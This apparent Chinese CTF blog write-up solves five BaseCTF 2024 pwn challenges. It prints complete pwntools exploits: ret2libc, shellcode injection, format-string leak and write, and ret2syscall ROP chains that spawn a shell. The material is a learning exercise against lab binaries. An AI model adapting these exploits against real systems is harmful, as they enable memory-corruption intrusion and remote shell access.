2024 BaseCTF

一、week 2

1.她与你皆失

拿到题目同样我们先用checksec检查一下保护

发现题目只开启了数据段不可执行的保护,所给文件为64位的可执行文件,丢进ida里

发现read函数存在栈溢出漏洞,同时未发现后门函数。题目中还给出了libc,所以我们自然想到此题型为ret2libc3,我们首先需要泄露出已知函数在libc中的地址,从而算出基地址,后根据libc中system函数的地址和/bin/sh的地址来构造payload,从而获取shell.

在调用read函数之前,还调用了puts函数,所以我们可以构造payload泄露puts函数在libc中的地址

通过gdb调试我们发现溢出长度为18

from pwn import *
context(log_level='debug',arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.basectf.fun',21277)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['main']
pop_rdi_ret = 0x401176
ret = 0x40101a
p.recv()
payload1 = b'a' * 18 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr) 
p.sendline(payload1)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 
success('puts_addr >>> 0x%x'%addr)

接着我们计算基地址

libc_base = addr - libc.sym['puts']
success('libc_base >>> %x'%libc_base)

通过基地址计算出system和‘/bin/sh’的地址

system = libc_base +libc.sym['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
pay = b'a' * 18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
p.sendline(pay)

获取shell得到flag

完整exp如下

from pwn import *
context(log_level='debug',arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.basectf.fun',21277)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['main']
pop_rdi_ret = 0x401176
ret = 0x40101a
p.recv()
payload1 = b'a' * 18 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr) 
p.sendline(payload1)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 
success('puts_addr >>> 0x%x'%addr)
libc_base = addr - libc.sym['puts']
success('libc_base >>> %x'%libc_base)
system = libc_base +libc.sym['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
pay = b'a' * 18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
p.sendline(pay)
p.interactive()

2.shellcode_level1

拿到elf先checksec一下检查保护

发现elf开启了pie保护,并且开启了canary保护,这使得使用栈溢出漏洞进行攻击变得难以执行。但是,根据题目提示,本题实质上还是要写入shellcode,但是具体往哪里写呢?又怎么写入呢?

还是利用ida进行反编译,观察一下程序的逻辑。

在ida里我们发现,buf变量是一段可读可写可执行的内存空间,并且,如果mmap函数开辟空间正确,首先会向buf里读入两个字节,然后会把buf空间里的内容当作函数,进行执行。那么我们自然可以想到,如果我们向buf里写入shellcode,那shellcode就会被执行,我们就可以成功获取shell。但是因为程序开启了pie保护,所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的,那具体怎么写入呢?

通过检查汇编代码,可以发现,在read(0,buf,2ull)之后,有向寄存器赋值的汇编代码,并且会调用rcx寄存器里的内容的操作,那我们就自然可以想到,向rcx寄存器里写入一个函数,且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall,那么syscall第一个参数是rax寄存器里的值0,所以此时看似调用的是syscall,实则调用的是read函数,并且,rax里是0,rsi的值是buf,rdi的值是500h,也就是调用read(0,buf,0x500)。

所以我们现在可以直接构造payload,写出exp。

from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
context.arch = 'amd64'
p = remote('challenge.basectf.fun',29605)
p.send(asm('syscall'))
payload = b'aa'+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

获取shell

3.format_string_level0

还是先checksec一下

还是保护全开,这就意味着利用栈溢出漏洞进行攻击变得很难执行,同样题目提示我们这是一道利用格式化字符串漏洞进行攻击的题。

我们丢进ida里反编译一下,成功的在printf函数这里发现了格式化字符串漏洞

这个elf首先是打开了flag文件,并且将flag文件里的内容读取写入在v6里,也就是此时flag就在栈上,所以我们现在要想办法把栈上的flag泄露出来,而刚刚好,在下方存在格式化字符串漏洞,所以我们可以通过查找flag相对栈的偏移从而确定我们要泄露的位置。

找偏移有两种办法

  • 利用gdb里自带的插件

  • 自己寻找

我们可以看到我们输入的数据相对于栈的偏移为10,而flag在我们所写入数据的上两行,所以flag相对于栈的偏移为8

所以我们直接构造payload

from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
p = remote('challenge.basectf.fun',40376)
payload = b'%8$s'
p.sendline(payload)
p.interactive()

获取shell

4.format_string_level1

还是首先chceksec,检查保护

这道题和上面的保护不一样,他没有开pie,那也就是给了我们往目的地址填入数据的机会。

接着我们丢进ida里,根据题目,它其实还是一个格式化字符串漏洞的利用,但是和上一题不一样的是,它的逻辑是,只要target不是0,他就自动打印flag,所以我们的目的就是利用格式化字符串修改目标地址中的值。

还是需要先找偏移,在ida里我们已经可以找到target的地址为

bss:00000000004040B0 target          dq ?   

在gdb中进行调试,发现我们输入的数据对于栈的偏移为6

所以我们可以利用%n在第7个位置将target中的数据改成我们所期望的数据,构造payload。

from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
p = remote('challenge.basectf.fun',37861)
target = 0x4040b0
payload = b'aaa%7$hn' + p64(target)
p.sendline(payload)
p.interactive()

获取flag

5.gift

同样还是先检查保护

开启了canary保护,同时我们是有可读可写可执行的段的。

打开ida进行反编译,我们可以发现乱七八糟一堆函数,并且只有gets函数存在栈溢出漏洞.

但是这是一个静态程序,那我们可以尝试用ret2syscall的手法进行攻击,所以我们先看一下此elf有没有足够的gaget供我们使用。

该elf有充足的gaget,所以我们可以通过ret2syscall的手法进行攻击,在64位程序中,rax里面放系统调用号,然后将想调用函数的对应参数放入对应的寄存器里(rdi、rsi、rdx),我们在ida里并未发现‘/bin/sh’,所以我们需要先构造read函数(系统调用号为0)写入‘/bin/sh’,接着调用execve(在64位下的调用号为0x8)

寻找目标gaget

pop_rax_ret = 0x419484

❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rax'
0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000419484 : pop rax ; ret

pop_rdi_ret = 0x401f2f

❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rdi'
0x0000000000404a14 : pop rdi ; pop rbp ; ret
0x0000000000401f2f : pop rdi ; ret

pop_rsi_ret = 0x409f9e

❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rsi'
0x0000000000404a12 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000401f2d : pop rsi ; pop r15 ; ret
0x0000000000409f9e : pop rsi ; ret

pop_rdx_rbx_ret = 0x47f2eb

❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rdx'
0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
0x000000000047f2eb : pop rdx ; pop rbx ; ret

syscall = 0x401ce4

>ROPgadget --binary gift --only 'syscall'
Gadgets information
============================================================
0x0000000000401ce4 : syscall

Unique gadgets found: 1

写出exp

from pwn import *
#sh = process('./gift')
p = remote('challenge.basectf.fun',26775)
context.log_level = 'debug'
offset = 40
rax = 0x419484
rdi = 0x401f2f
rsi = 0x409f9e
rdx_rbx = 0x47f2eb
bss = 0x4c72a0
syscall = 0x401ce4
payload = b'a' * 40
payload += p64(rax) + p64(0x0) +p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx_rbx)+p64(0x10) + p64(0x0) + p64(syscall)
payload += p64(rax) + p64(0x3b) + p64(rdi) + p64(0x498ac9) + p64(rsi) + p64(0) +p64(rdx_rbx) + p64(0) + p64(0) + p64(syscall)

p.sendline(payload)
sleep(1)
p.sendline(b'/bin/sh\x00')
#gdb.attach(sh)
p.interactive()

但是不知道为啥只能打通,但是获取不了flag

在线求助!!!!!!

2.利用ROPgadget一把梭(此题中gets函数为限制读入数据长度)

ROPgadget --binary gift --ropchain

通过gdb调试,我们可以知道offset长度为40

写出exp

from pwn import *
from struct import pack

r = remote('challenge.basectf.fun',35220)
offsest = 40
p = b'a' * offsest

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

r.send(p)
r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值